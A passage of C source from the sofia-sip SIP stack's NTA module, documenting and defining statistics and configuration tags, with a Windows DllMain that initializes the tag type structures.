NTATAG_S_CANCELED_TR_REF(x) * * Get number of server transactions that have been CANCELed. * * Return number of server transactions for which an CANCEL request has been * received. Currently, the count includes only INVITE server transactions * that have been CANCELed. * * @sa nta_agent_get_stats(), NTATAG_S_SERVER_TR_REF(), * NTATAG_S_ACKED_TR_REF(). */ EXPORT tag_typedef_t ntatag_s_canceled_tr_ref; tag_typedef_t ntatag_s_canceled_tr; /**@def NTATAG_S_TRLESS_REQUEST_REF(x) * * Get number of requests that were processed stateless. * * Return number of received requests that were processed statelessly, * either with #nta_message_f message callback given with the * nta_agent_create() or, missing the callback, by returning a <i>501 Not * Implemented</i> response to the request. * * @sa nta_agent_get_stats(), <sofia-sip/nta_stateless.h>, * nta_agent_create(), #nta_message_f, NTATAG_S_TRLESS_TO_TR_REF(), * NTATAG_S_TRLESS_RESPONSE_REF() */ EXPORT tag_typedef_t ntatag_s_trless_request_ref; tag_typedef_t ntatag_s_trless_request; /**@def NTATAG_S_TRLESS_TO_TR_REF(x) * * Get number of requests converted to transactions by message callback. * * Return number of requests that were converted to a server transaction * with nta_incoming_create(). * * @sa nta_agent_get_stats(), nta_incoming_create(), nta_agent_create(), * #nta_message_f, NTATAG_S_TRLESS_REQUEST_REF() */ EXPORT tag_typedef_t ntatag_s_trless_to_tr_ref; tag_typedef_t ntatag_s_trless_to_tr; /**@def NTATAG_S_TRLESS_RESPONSE_REF(x) * * Get number of responses without matching request. * * Return number of received responses for which no matching client * transaction was found. Such responses are processed either by the * client transaction created with nta_outgoing_default(), the * #nta_message_f message callback given to nta_agent_create(), or, missing * both the default client transaction and message callback, they are * silently discarded. * * The NTATAG_S_TRLESS_200_REF() counter counts those successful 2XX * responses to the INVITE without client transaction which are silently * discarded. * * @sa nta_agent_get_stats(), nta_outgoing_default(), nta_agent_create(), * <sofia-sip/nta_stateless.h>, #nta_message_f, nta_msg_ackbye(), * NTATAG_S_TRLESS_REQUEST_REF(), NTATAG_S_TRLESS_200_REF(). */ EXPORT tag_typedef_t ntatag_s_trless_response_ref; tag_typedef_t ntatag_s_trless_response; /**@def NTATAG_S_TRLESS_200_REF(x) * * Get number of successful responses missing INVITE client transaction. * * Return number of received 2XX responses to INVITE transaction for which * no matching client transaction was found nor which were processed by a * default client transaction created with nta_outgoing_default() or * #nta_message_f message callback given to nta_agent_create(). * * @sa nta_agent_get_stats(), nta_outgoing_default(), nta_agent_create(), * <sofia-sip/nta_stateless.h>, #nta_message_f, nta_msg_ackbye(), * NTATAG_S_TRLESS_RESPONSE_REF(). */ EXPORT tag_typedef_t ntatag_s_trless_200_ref; tag_typedef_t ntatag_s_trless_200; /**@def NTATAG_S_MERGED_REQUEST_REF(x) * * Get number of requests merged by UAS. * * Return number of requests for which UAS already has returned a response * and which were merged (that is, returned a <i>482 Request Merged</i> * response). * * @sa nta_agent_get_stats(), NTATAG_UA(1), @RFC3261 section 8.2.2.2 */ EXPORT tag_typedef_t ntatag_s_merged_request_ref; tag_typedef_t ntatag_s_merged_request; /**@def NTATAG_S_SENT_MSG_REF(x) * * Get number of SIP messages sent by stack. * * Return number of SIP messages given to the transport layer for * transmission by the SIP stack. The number includes also messages which * the transport layer failed to send for different reasons. * * @sa nta_agent_get_stats(), NTATAG_S_RECV_MSG_REF(), * NTATAG_S_SENT_REQUEST_REF(), NTATAG_S_SENT_RESPONSE_REF() */ EXPORT tag_typedef_t ntatag_s_sent_msg_ref; tag_typedef_t ntatag_s_sent_msg; /**@def NTATAG_S_SENT_REQUEST_REF(x) * * Get number of SIP requests sent by stack. * * Return number of SIP requests given to the transport layer for * transmission by the SIP stack. The number includes retransmissions and * messages which the transport layer failed to send for different reasons. * * @sa nta_agent_get_stats(), NTATAG_S_RECV_REQUEST_REF(), * NTATAG_S_SENT_MSG_REF(), NTATAG_S_SENT_RESPONSE_REF() */ EXPORT tag_typedef_t ntatag_s_sent_request_ref; tag_typedef_t ntatag_s_sent_request; /**@def NTATAG_S_SENT_RESPONSE_REF(x) * * Get number of SIP responses sent by stack. * * Return number of SIP responses given to the transport layer for * transmission by the SIP stack. The number includes retransmissions and * messages which the transport layer failed to send for different reasons. * * @sa nta_agent_get_stats(), NTATAG_S_RECV_RESPONSE_REF(), * NTATAG_S_SENT_MSG_REF(), NTATAG_S_SENT_REQUEST_REF() */ EXPORT tag_typedef_t ntatag_s_sent_response_ref; tag_typedef_t ntatag_s_sent_response; /**@def NTATAG_S_RETRY_REQUEST_REF(x) * * Get number of SIP requests retransmitted by stack. * * Return number of SIP requests given to the transport layer for * retransmission by the SIP stack. The number includes messages which the * transport layer failed to send for different reasons. * * @sa nta_agent_get_stats(), NTATAG_S_SENT_MSG_REF(), * NTATAG_S_SENT_REQUEST_REF(), NTATAG_S_RETRY_RESPONSE_REF() */ EXPORT tag_typedef_t ntatag_s_retry_request_ref; tag_typedef_t ntatag_s_retry_request; /**@def NTATAG_S_RETRY_RESPONSE_REF(x) * * Get number of SIP responses retransmitted by stack. * * Return number of SIP responses given to the transport layer for * retransmission by the SIP stack. The number includes messages which the * transport layer failed to send for different reasons. * * @sa nta_agent_get_stats(), NTATAG_S_SENT_MSG_REF(), * NTATAG_S_SENT_REQUEST_REF(), NTATAG_S_RETRY_REQUEST_REF() */ EXPORT tag_typedef_t ntatag_s_retry_response_ref; tag_typedef_t ntatag_s_retry_response; /**@def NTATAG_S_RECV_RETRY_REF(x) * * Get number of retransmitted SIP requests received by stack. * * Return number of SIP requests received by the stack. This number only * includes retransmission for which a matching server transaction object * was found. * * @sa nta_agent_get_stats(), NTATAG_S_RETRY_REQUEST_REF(). */ EXPORT tag_typedef_t ntatag_s_recv_retry_ref; tag_typedef_t ntatag_s_recv_retry; /**@def NTATAG_S_TOUT_REQUEST_REF(x) * * Get number of SIP client transactions that has timeout. * * Return number of SIP client transactions that has timeout. * * @sa nta_agent_get_stats(), NTATAG_S_TOUT_RESPONSE_REF(). */ EXPORT tag_typedef_t ntatag_s_tout_request_ref; tag_typedef_t ntatag_s_tout_request; /**@def NTATAG_S_TOUT_RESPONSE_REF(x) * * Get number of SIP server transactions that has timeout. * * Return number of SIP server transactions that has timeout. The number * includes only the INVITE transactions for which the stack has received no * ACK requests. * * @sa nta_agent_get_stats(), NTATAG_S_TOUT_REQUEST_REF(). */ EXPORT tag_typedef_t ntatag_s_tout_response_ref; tag_typedef_t ntatag_s_tout_response; /* Internal */ EXPORT tag_typedef_t ntatag_delay_sending_ref; tag_typedef_t ntatag_delay_sending; EXPORT tag_typedef_t ntatag_incomplete_ref; tag_typedef_t ntatag_incomplete; EXPORT tag_type_t nta_tag_list[] = { ntatag_s_sent_msg, ntatag_debug_drop_prob, ntatag_s_recv_msg, ntatag_aliases, ntatag_cancel_408, ntatag_sip_t1x64, ntatag_remote_cseq, ntatag_s_trless_response, ntatag_rel100, ntatag_s_retry_response, ntatag_tag_3261, ntatag_sigcomp_close, ntatag_s_tout_response, ntatag_s_sent_response, ntatag_s_drop_response, ntatag_s_recv_response, ntatag_comp, ntatag_s_bad_response, ntatag_stateless, ntatag_timeout_408, ntatag_blacklist, ntatag_s_leg_hash_used, ntatag_s_orq_hash_used, ntatag_s_irq_hash_used, ntatag_s_merged_request, ntatag_s_trless_request, ntatag_pass_408, ntatag_s_retry_request, ntatag_s_tout_request, ntatag_s_sent_request, ntatag_s_client_tr, ntatag_s_drop_request, ntatag_s_recv_request, ntatag_mclass, ntatag_s_bad_request, ntatag_s_trless_200, ntatag_maxsize, ntatag_bad_resp_mask, ntatag_s_canceled_tr, ntatag_bad_req_mask, ntatag_s_acked_tr, ntatag_use_timestamp, ntatag_graylist, ntatag_timer_c, ntatag_max_proceeding, ntatag_use_naptr, ntatag_cancel_2543, ntatag_sipflags, ntatag_sigcomp_algorithm, ntatag_contact, ntatag_incomplete, ntatag_use_srv, ntatag_ua, ntatag_sigcomp_aware, ntatag_s_bad_message, ntatag_preload, ntatag_msg, ntatag_delay_sending, ntatag_extra_100, ntatag_server_rport, ntatag_client_rport, ntatag_default_proxy, ntatag_user_via, ntatag_tls_rport, ntatag_tcp_rport, ntatag_no_dialog, ntatag_max_forwards, ntatag_s_recv_retry, ntatag_s_trless_to_tr, ntatag_tport, ntatag_sip_t4, ntatag_udp_mtu, ntatag_sip_t2, ntatag_smime, ntatag_branch_key, ntatag_sip_t1, ntatag_s_dialog_tr, ntatag_rseq, ntatag_method, ntatag_s_leg_hash, ntatag_s_orq_hash, ntatag_s_irq_hash, ntatag_progress, ntatag_s_server_tr, ntatag_pass_100, ntatag_sigcomp_options, ntatag_ack_branch, ntatag_merge_482, ntatag_cancel_487, ntatag_target, NULL }; #include <windows.h> BOOL WINAPI DllMain(HINSTANCE hInst, DWORD fwdReason, LPVOID fImpLoad) { tag_typedef_t _ntatag_s_sent_msg = USIZETAG_TYPEDEF(s_sent_msg); tag_typedef_t _ntatag_s_sent_msg_ref = REFTAG_TYPEDEF(ntatag_s_sent_msg); tag_typedef_t _ntatag_debug_drop_prob = UINTTAG_TYPEDEF(debug_drop_prob); tag_typedef_t _ntatag_debug_drop_prob_ref = REFTAG_TYPEDEF(ntatag_debug_drop_prob); tag_typedef_t _ntatag_aliases = SIPHDRTAG_NAMED_TYPEDEF(aliases, contact); tag_typedef_t _ntatag_aliases_ref = REFTAG_TYPEDEF(ntatag_aliases); tag_typedef_t _ntatag_s_recv_msg = USIZETAG_TYPEDEF(s_recv_msg); tag_typedef_t _ntatag_s_recv_msg_ref = REFTAG_TYPEDEF(ntatag_s_recv_msg); tag_typedef_t _ntatag_cancel_408 = BOOLTAG_TYPEDEF(cancel_408); tag_typedef_t _ntatag_cancel_408_ref = REFTAG_TYPEDEF(ntatag_cancel_408); tag_typedef_t _ntatag_remote_cseq = UINTTAG_TYPEDEF(remote_cseq); tag_typedef_t _ntatag_remote_cseq_ref = REFTAG_TYPEDEF(ntatag_remote_cseq); tag_typedef_t _ntatag_sip_t1x64 = UINTTAG_TYPEDEF(sip_t1x64); tag_typedef_t _ntatag_sip_t1x64_ref = REFTAG_TYPEDEF(ntatag_sip_t1x64); tag_typedef_t _ntatag_rel100 = BOOLTAG_TYPEDEF(rel100); tag_typedef_t _ntatag_rel100_ref = REFTAG_TYPEDEF(ntatag_rel100); tag_typedef_t _ntatag_s_trless_response = USIZETAG_TYPEDEF(s_trless_response); tag_typedef_t _ntatag_s_trless_response_ref = REFTAG_TYPEDEF(ntatag_s_trless_response); tag_typedef_t _ntatag_sigcomp_close = BOOLTAG_TYPEDEF(sigcomp_close); tag_typedef_t _ntatag_sigcomp_close_ref = REFTAG_TYPEDEF(ntatag_sigcomp_close); tag_typedef_t _ntatag_tag_3261 = BOOLTAG_TYPEDEF(tag_3261); tag_typedef_t _ntatag_tag_3261_ref = REFTAG_TYPEDEF(ntatag_tag_3261); tag_typedef_t _ntatag_s_retry_response = USIZETAG_TYPEDEF(s_retry_response); tag_typedef_t _ntatag_s_retry_response_ref = REFTAG_TYPEDEF(ntatag_s_retry_response); tag_typedef_t _ntatag_comp = CSTRTAG_TYPEDEF(comp); tag_typedef_t _ntatag_comp_ref = REFTAG_TYPEDEF(ntatag_comp); tag_typedef_t _ntatag_s_recv_response = USIZETAG_TYPEDEF(s_recv_response); tag_typedef_t _ntatag_s_recv_response_ref = REFTAG_TYPEDEF(ntatag_s_recv_response); tag_typedef_t _ntatag_s_drop_response = USIZETAG_TYPEDEF(s_drop_response); tag_typedef_t _ntatag_s_drop_response_ref = REFTAG_TYPEDEF(ntatag_s_drop_response); tag_typedef_t _ntatag_s_sent_response = USIZETAG_TYPEDEF(s_sent_response); tag_typedef_t _ntatag_s_sent_response_ref = REFTAG_TYPEDEF(ntatag_s_sent_response); tag_typedef_t _ntatag_s_tout_response = USIZETAG_TYPEDEF(s_tout_response); tag_typedef_t _ntatag_s_tout_response_ref = REFTAG_TYPEDEF(ntatag_s_tout_response); tag_typedef_t _ntatag_stateless = BOOLTAG_TYPEDEF(stateless); tag_typedef_t _ntatag_stateless_ref = REFTAG_TYPEDEF(ntatag_stateless); tag_typedef_t _ntatag_s_bad_response = USIZETAG_TYPEDEF(s_bad_response); tag_typedef_t _ntatag_s_bad_response_ref = REFTAG_TYPEDEF(ntatag_s_bad_response); tag_typedef_t _ntatag_blacklist = UINTTAG_TYPEDEF(blacklist); tag_typedef_t _ntatag_blacklist_ref = REFTAG_TYPEDEF(ntatag_blacklist); tag_typedef_t _ntatag_timeout_408 = BOOLTAG_TYPEDEF(timeout_408); tag_typedef_t _ntatag_timeout_408_ref = REFTAG_TYPEDEF(ntatag_timeout_408); tag_typedef_t _ntatag_s_irq_hash_used = USIZETAG_TYPEDEF(s_irq_hash_used); tag_typedef_t _ntatag_s_irq_hash_used_ref = REFTAG_TYPEDEF(ntatag_s_irq_hash_used); tag_typedef_t _ntatag_s_orq_hash_used = USIZETAG_TYPEDEF(s_orq_hash_used); tag_typedef_t _ntatag_s_orq_hash_used_ref = REFTAG_TYPEDEF(ntatag_s_orq_hash_used); tag_typedef_t _ntatag_s_leg_hash_used = USIZETAG_TYPEDEF(s_leg_hash_used); tag_typedef_t _ntatag_s_leg_hash_used_ref = REFTAG_TYPEDEF(ntatag_s_leg_hash_used); tag_typedef_t _ntatag_pass_408 = BOOLTAG_TYPEDEF(pass_408); tag_typedef_t _ntatag_pass_408_ref = REFTAG_TYPEDEF(ntatag_pass_408); tag_typedef_t _ntatag_s_trless_request = USIZETAG_TYPEDEF(s_trless_request); tag_typedef_t _ntatag_s_trless_request_ref = REFTAG_TYPEDEF(ntatag_s_trless_request); tag_typedef_t _ntatag_s_merged_request = USIZETAG_TYPEDEF(s_merged_request); tag_typedef_t _ntatag_s_merged_request_ref = REFTAG_TYPEDEF(ntatag_s_merged_request); tag_typedef_t _ntatag_s_retry_request = USIZETAG_TYPEDEF(s_retry_request); tag_typedef_t _ntatag_s_retry_request_ref = REFTAG_TYPEDEF(ntatag_s_retry_request); tag_typedef_t _ntatag_mclass = PTRTAG_TYPEDEF(mclass); tag_typedef_t _ntatag_mclass_ref = REFTAG_TYPEDEF(ntatag_mclass); tag_typedef_t _ntatag_s_recv_request = USIZETAG_TYPEDEF(s_recv_request); tag_typedef_t _ntatag_s_recv_request_ref = REFTAG_TYPEDEF(ntatag_s_recv_request); tag_typedef_t _ntatag_s_drop_request = USIZETAG_TYPEDEF(s_drop_request); tag_typedef_t _ntatag_s_drop_request_ref = REFTAG_TYPEDEF(ntatag_s_drop_request); tag_typedef_t _ntatag_s_client_tr = USIZETAG_TYPEDEF(s_client_tr); tag_typedef_t _ntatag_s_client_tr_ref = REFTAG_TYPEDEF(ntatag_s_client_tr); tag_typedef_t _ntatag_s_sent_request = USIZETAG_TYPEDEF(s_sent_request); tag_typedef_t _ntatag_s_sent_request_ref = REFTAG_TYPEDEF(ntatag_s_sent_request); tag_typedef_t _ntatag_s_tout_request = USIZETAG_TYPEDEF(s_tout_request); tag_typedef_t _ntatag_s_tout_request_ref = REFTAG_TYPEDEF(ntatag_s_tout_request); tag_typedef_t _ntatag_s_bad_request = USIZETAG_TYPEDEF(s_bad_request); tag_typedef_t _ntatag_s_bad_request_ref = REFTAG_TYPEDEF(ntatag_s_bad_request); tag_typedef_t _ntatag_any = NSTAG_TYPEDEF(*); tag_typedef_t _ntatag_any_ref = REFTAG_TYPEDEF(ntatag_any); tag_typedef_t _ntatag_bad_resp_mask = UINTTAG_TYPEDEF(bad_resp_mask); tag_typedef_t _ntatag_bad_resp_mask_ref = REFTAG_TYPEDEF(ntatag_bad_resp_mask); tag_typedef_t _ntatag_maxsize = USIZETAG_TYPEDEF(maxsize); tag_typedef_t _ntatag_maxsize_ref = REFTAG_TYPEDEF(ntatag_maxsize); tag_typedef_t _ntatag_s_trless_200 = USIZETAG_TYPEDEF(s_trless_200); tag_typedef_t _ntatag_s_trless_200_ref = REFTAG_TYPEDEF(ntatag_s_trless_200); tag_typedef_t _ntatag_bad_req_mask = UINTTAG_TYPEDEF(bad_req_mask); tag_typedef_t _ntatag_bad_req_mask_ref = REFTAG_TYPEDEF(ntatag_bad_req_mask); tag_typedef_t _ntatag_s_canceled_tr = USIZETAG_TYPEDEF(s_canceled_tr); tag_typedef_t _ntatag_s_canceled_tr_ref = REFTAG_TYPEDEF(ntatag_s_canceled_tr); tag_typedef_t _ntatag_s_acked_tr = USIZETAG_TYPEDEF(s_acked_tr); tag_typedef_t _ntatag_s_acked_tr_ref = REFTAG_TYPEDEF(ntatag_s_acked_tr); tag_typedef_t _ntatag_use_timestamp = BOOLTAG_TYPEDEF(use_timestamp); tag_typedef_t _ntatag_use_timestamp_ref = REFTAG_TYPEDEF(ntatag_use_timestamp); tag_typedef_t _ntatag_max_proceeding = USIZETAG_TYPEDEF(max_proceeding); tag_typedef_t _ntatag_max_proceeding_ref = REFTAG_TYPEDEF(ntatag_max_proceeding); tag_typedef_t _ntatag_timer_c = UINTTAG_TYPEDEF(timer_c); tag_typedef_t _ntatag_timer_c_ref = REFTAG_TYPEDEF(ntatag_timer_c); tag_typedef_t _ntatag_graylist = UINTTAG_TYPEDEF(graylist); tag_typedef_t _ntatag_graylist_ref = REFTAG_TYPEDEF(ntatag_graylist); tag_typedef_t _ntatag_cancel_2543 = BOOLTAG_TYPEDEF(cancel_2543); tag_typedef_t _ntatag_cancel_2543_ref = REFTAG_TYPEDEF(ntatag_cancel_2543); tag_typedef_t _ntatag_use_naptr = BOOLTAG_TYPEDEF(naptr); tag_typedef_t _ntatag_use_naptr_ref = REFTAG_TYPEDEF(ntatag_use_naptr); tag_typedef_t _ntatag_sigcomp_algorithm = STRTAG_TYPEDEF(sigcomp_algorithm); tag_typedef_t _ntatag_sigcomp_algorithm_ref = REFTAG_TYPEDEF(ntatag_sigcomp_algorithm); tag_typedef_t _ntatag_sipflags = UINTTAG_TYPEDEF(sipflags); tag_typedef_t _ntatag_sipflags_ref = REFTAG_TYPEDEF(ntatag_sipflags); tag_typedef_t _ntatag_contact = SIPHDRTAG_NAMED_TYPEDEF(contact, contact); tag_typedef_t _ntatag_contact_ref = REFTAG_TYPEDEF(ntatag_contact); tag_typedef_t _ntatag_ua = BOOLTAG_TYPEDEF(ua); tag_typedef_t _ntatag_ua_ref = REFTAG_TYPEDEF(ntatag_ua); tag_typedef_t _ntatag_use_srv = BOOLTAG_TYPEDEF(srv); tag_typedef_t _ntatag_use_srv_ref = REFTAG_TYPEDEF(ntatag_use_srv); tag_typedef_t _ntatag_incomplete = BOOLTAG_TYPEDEF(incomplete); tag_typedef_t _ntatag_incomplete_ref = REFTAG_TYPEDEF(ntatag_incomplete); tag_typedef_t _ntatag_sigcomp_aware = BOOLTAG_TYPEDEF(sigcomp_aware); tag_typedef_t _ntatag_sigcomp_aware_ref = REFTAG_TYPEDEF(ntatag_sigcomp_aware); tag_typedef_t _ntatag_msg = PTRTAG_TYPEDEF(msg); tag_typedef_t _ntatag_msg_ref = REFTAG_TYPEDEF(ntatag_msg); tag_typedef_t _ntatag_preload = UINTTAG_TYPEDEF(preload); tag_typedef_t _ntatag_preload_ref = REFTAG_TYPEDEF(ntatag_preload); tag_typedef_t _ntatag_s_bad_message = USIZETAG_TYPEDEF(s_bad_message); tag_typedef_t _ntatag_s_bad_message_ref = REFTAG_TYPEDEF(ntatag_s_bad_message); tag_typedef_t _ntatag_delay_sending = BOOLTAG_TYPEDEF(delay_sending); tag_typedef_t _ntatag_delay_sending_ref = REFTAG_TYPEDEF(ntatag_delay_sending); tag_typedef_t _ntatag_extra_100 = BOOLTAG_TYPEDEF(extra_100); tag_typedef_t _ntatag_extra_100_ref = REFTAG_TYPEDEF(ntatag_extra_100); tag_typedef_t _ntatag_default_proxy = URLTAG_TYPEDEF(default_proxy); tag_typedef_t _ntatag_default_proxy_ref = REFTAG_TYPEDEF(ntatag_default_proxy); tag_typedef_t _ntatag_client_rport = BOOLTAG_TYPEDEF(client_rport); tag_typedef_t _ntatag_client_rport_ref = REFTAG_TYPEDEF(ntatag_client_rport); tag_typedef_t _ntatag_server_rport = INTTAG_TYPEDEF(server_rport); tag_typedef_t _ntatag_server_rport_ref = REFTAG_TYPEDEF(ntatag_server_rport); tag_typedef_t _ntatag_user_via = BOOLTAG_TYPEDEF(user_via); tag_typedef_t _ntatag_user_via_ref = REFTAG_TYPEDEF(ntatag_user_via); tag_typedef_t _ntatag_tcp_rport = BOOLTAG_TYPEDEF(tcp_rport); tag_typedef_t _ntatag_tcp_rport_ref = REFTAG_TYPEDEF(ntatag_tcp_rport); tag_typedef_t _ntatag_tls_rport = BOOLTAG_TYPEDEF(tls_rport); tag_typedef_t _ntatag_tls_rport_ref = REFTAG_TYPEDEF(ntatag_tls_rport); tag_typedef_t _ntatag_no_dialog = BOOLTAG_TYPEDEF(no_dialog); tag_typedef_t _ntatag_no_dialog_ref = REFTAG_TYPEDEF(ntatag_no_dialog); tag_typedef_t _ntatag_max_forwards = UINTTAG_TYPEDEF(max_forwards); tag_typedef_t _ntatag_max_forwards_ref = REFTAG_TYPEDEF(ntatag_max_forwards); tag_typedef_t _ntatag_tport = PTRTAG_TYPEDEF(tport); tag_typedef_t _ntatag_tport_ref = REFTAG_TYPEDEF(ntatag_tport); tag_typedef_t _ntatag_s_trless_to_tr = USIZETAG_TYPEDEF(s_trless_to_tr); tag_typedef_t _ntatag_s_trless_to_tr_ref = REFTAG_TYPEDEF(ntatag_s_trless_to_tr); tag_typedef_t _ntatag_s_recv_retry = USIZETAG_TYPEDEF(s_recv_retry); tag_typedef_t _ntatag_s_recv_retry_ref = REFTAG_TYPEDEF(ntatag_s_recv_retry); tag_typedef_t _ntatag_udp_mtu = UINTTAG_TYPEDEF(udp_mtu); tag_typedef_t _ntatag_udp_mtu_ref = REFTAG_TYPEDEF(ntatag_udp_mtu); tag_typedef_t _ntatag_sip_t4 = UINTTAG_TYPEDEF(sip_t4); tag_typedef_t _ntatag_sip_t4_ref = REFTAG_TYPEDEF(ntatag_sip_t4); tag_typedef_t _ntatag_branch_key = STRTAG_TYPEDEF(branch_key); tag_typedef_t _ntatag_branch_key_ref = REFTAG_TYPEDEF(ntatag_branch_key); tag_typedef_t _ntatag_smime = PTRTAG_TYPEDEF(smime); tag_typedef_t _ntatag_smime_ref = REFTAG_TYPEDEF(ntatag_smime); tag_typedef_t _ntatag_sip_t2 = UINTTAG_TYPEDEF(sip_t2); tag_typedef_t _ntatag_sip_t2_ref = REFTAG_TYPEDEF(ntatag_sip_t2); tag_typedef_t _ntatag_sip_t1 = UINTTAG_TYPEDEF(sip_t1); tag_typedef_t _ntatag_sip_t1_ref = REFTAG_TYPEDEF(ntatag_sip_t1); tag_typedef_t _ntatag_method = STRTAG_TYPEDEF(method); tag_typedef_t _ntatag_method_ref = REFTAG_TYPEDEF(ntatag_method); tag_typedef_t _ntatag_rseq = UINTTAG_TYPEDEF(rseq); tag_typedef_t _ntatag_rseq_ref = REFTAG_TYPEDEF(ntatag_rseq); tag_typedef_t _ntatag_s_dialog_tr = USIZETAG_TYPEDEF(s_dialog_tr); tag_typedef_t _ntatag_s_dialog_tr_ref = REFTAG_TYPEDEF(ntatag_s_dialog_tr); tag_typedef_t _ntatag_s_irq_hash = USIZETAG_TYPEDEF(s_irq_hash); tag_typedef_t _ntatag_s_irq_hash_ref = REFTAG_TYPEDEF(ntatag_s_irq_hash); tag_typedef_t _ntatag_s_orq_hash = USIZETAG_TYPEDEF(s_orq_hash); tag_typedef_t _ntatag_s_orq_hash_ref = REFTAG_TYPEDEF(ntatag_s_orq_hash); tag_typedef_t _ntatag_s_leg_hash = USIZETAG_TYPEDEF(s_leg_hash); tag_typedef_t _ntatag_s_leg_hash_ref = REFTAG_TYPEDEF(ntatag_s_leg_hash); tag_typedef_t _ntatag_progress = UINTTAG_TYPEDEF(progress); tag_typedef_t _ntatag_progress_ref = REFTAG_TYPEDEF(ntatag_progress); tag_typedef_t _ntatag_pass_100 = BOOLTAG_TYPEDEF(pass_100); tag_typedef_t _ntatag_pass_100_ref = REFTAG_TYPEDEF(ntatag_pass_100); tag_typedef_t _ntatag_s_server_tr = USIZETAG_TYPEDEF(s_server_tr); tag_typedef_t _ntatag_s_server_tr_ref = REFTAG_TYPEDEF(ntatag_s_server_tr); tag_typedef_t _ntatag_sigcomp_options = STRTAG_TYPEDEF(sigcomp_options); tag_typedef_t _ntatag_sigcomp_options_ref = REFTAG_TYPEDEF(ntatag_sigcomp_options); tag_typedef_t _ntatag_ack_branch = STRTAG_TYPEDEF(ack_branch); tag_typedef_t _ntatag_ack_branch_ref = REFTAG_TYPEDEF(ntatag_ack_branch); tag_typedef_t _ntatag_merge_482 = BOOLTAG_TYPEDEF(merge_482); tag_typedef_t _ntatag_merge_482_ref = REFTAG_TYPEDEF(ntatag_merge_482); tag_typedef_t _ntatag_cancel_487 = BOOLTAG_TYPEDEF(cancel_487); tag_typedef_t _ntatag_cancel_487_ref = REFTAG_TYPEDEF(ntatag_cancel_487); tag_typedef_t _ntatag_target = SIPHDRTAG_NAMED_TYPEDEF(target, contact); tag_typedef_t _ntatag_target_ref = REFTAG_TYPEDEF(ntatag_target); *(struct tag_type_s *)ntatag_s_sent_msg = *_ntatag_s_sent_msg; *(struct tag_type_s *)ntatag_s_sent_msg_ref = *_ntatag_s_sent_msg_ref; *(struct tag_type_s *)ntatag_debug_drop_prob = *_ntatag_debug_drop_prob; *(struct tag_type_s *)ntatag_debug_drop_prob_ref = *_ntatag_debug_drop_prob_ref; *(struct tag_type_s *)ntatag_s_recv_msg = *_ntatag_s_recv_msg; *(struct tag_type_s *)ntatag_s_recv_msg_ref = *_ntatag_s_recv_msg_ref; *(struct tag_type_s *)ntatag_aliases = *_ntatag_aliases; *(struct tag_type_s *)ntatag_aliases_ref = *_ntatag_aliases_ref; *(struct tag_type_s *)ntatag_cancel_408 = *_ntatag_cancel_408; *(struct tag_type_s *)ntatag_cancel_408_ref = *_ntatag_cancel_408_ref; *(struct tag_type_s *)ntatag_sip_t1x64 = *_ntatag_sip_t1x64; *(struct tag_type_s *)ntatag_sip_t1x64_ref = *_ntatag_sip_t1x64_ref; *(struct tag_type_s *)ntatag_remote_cseq = *_ntatag_remote_cseq; *(struct tag_type_s *)ntatag_remote_cseq_ref = *_ntatag_remote_cseq_ref; *(struct tag_type_s *)ntatag_s_trless_response = *_ntatag_s_trless_response; *(struct tag_type_s *)ntatag_s_trless_response_ref = *_ntatag_s_trless_response_ref; *(struct tag_type_s *)ntatag_rel100 = *_ntatag_rel100; *(struct tag_type_s *)ntatag_rel100_ref = *_ntatag_rel100_ref; *(struct tag_type_s *)ntatag_s_retry_response = *_ntatag_s_retry_response; *(struct tag_type_s *)ntatag_s_retry_response_ref = *_ntatag_s_retry_response_ref; *(struct tag_type_s *)ntatag_tag_3261 = *_ntatag_tag_3261; *(struct tag_type_s *)ntatag_tag_3261_ref = *_ntatag_tag_3261_ref; *(struct tag_type_s *)ntatag_sigcomp_close = *_ntatag_sigcomp_close; *(struct tag_type_s *)ntatag_sigcomp_close_ref = *_ntatag_sigcomp_close_ref; *(struct tag_type_s *)ntatag_s_tout_response = *_ntatag_s_tout_response; *(struct tag_type_s *)ntatag_s_tout_response_ref = *_ntatag_s_tout_response_ref; *(struct tag_type_s *)ntatag_s_sent_response = *_ntatag_s_sent_response; *(struct tag_type_s *)ntatag_s_sent_response_ref = *_ntatag_s_sent_response_ref; *(struct tag_type_s *)ntatag_s_drop_response = *_ntatag_s_drop_response; *(struct tag_type_s *)ntatag_s_drop_response_ref = *_ntatag_s_drop_response_ref; *(struct tag_type_s *)ntatag_s_recv_response = *_ntatag_s_recv_response; *(struct tag_type_s *)ntatag_s_recv_response_ref = *_ntatag_s_recv_response_ref; *(struct tag_type_s *)ntatag_comp = *_ntatag_comp; *(struct tag_type_s *)ntatag_comp_ref = *_ntatag_comp_ref; *(struct tag_type_s *)ntatag_s_bad_response = *_ntatag_s_bad_response; *(struct tag_type_s *)ntatag_s_bad_response_ref = *_ntatag_s_bad_response_ref; *(struct tag_type_s *)ntatag_stateless = *_ntatag_stateless; *(struct tag_type_s *)ntatag_stateless_ref = *_ntatag_stateless_ref; *(struct tag_type_s *)ntatag_timeout_408 = *_ntatag_timeout_408; *(struct tag_type_s *)ntatag_timeout_408_ref = *_ntatag_timeout_408_ref; *(struct tag_type_s *)ntatag_blacklist = *_ntatag_blacklist; *(struct tag_type_s *)ntatag_blacklist_ref = *_ntatag_blacklist_ref; *(struct tag_type_s *)ntatag_s_leg_hash_used = *_ntatag_s_leg_hash_used; *(struct tag_type_s *)ntatag_s_leg_hash_used_ref = *_ntatag_s_leg_hash_used_ref; *(struct tag_type_s *)ntatag_s_orq_hash_used = *_ntatag_s_orq_hash_used; *(struct tag_type_s *)ntatag_s_orq_hash_used_ref = *_ntatag_s_orq_hash_used_ref; *(struct tag_type_s *)ntatag_s_irq_hash_used = *_ntatag_s_irq_hash_used; *(struct tag_type_s *)ntatag_s_irq_hash_used_ref = *_ntatag_s_irq_hash_used_ref; *(struct tag_type_s *)ntatag_s_merged_request = *_ntatag_s_merged_request; *(struct tag_type_s *)ntatag_s_merged_request_ref = *_ntatag_s_merged_request_ref; *(struct tag_type_s *)ntatag_s_trless_request = *_ntatag_s_trless_request; *(struct tag_type_s *)ntatag_s_trless_request_ref = *_ntatag_s_trless_request_ref; *(struct tag_type_s *)ntatag_pass_408 = *_ntatag_pass_408; *(struct tag_type_s *)ntatag_pass_408_ref = *_ntatag_pass_408_ref; *(struct tag_type_s *)ntatag_s_retry_request = *_ntatag_s_retry_request; *(struct tag_type_s *)ntatag_s_retry_request_ref = *_ntatag_s_retry_request_ref; *(struct tag_type_s *)ntatag_s_tout_request = *_ntatag_s_tout_request; *(struct tag_type_s *)ntatag_s_tout_request_ref = 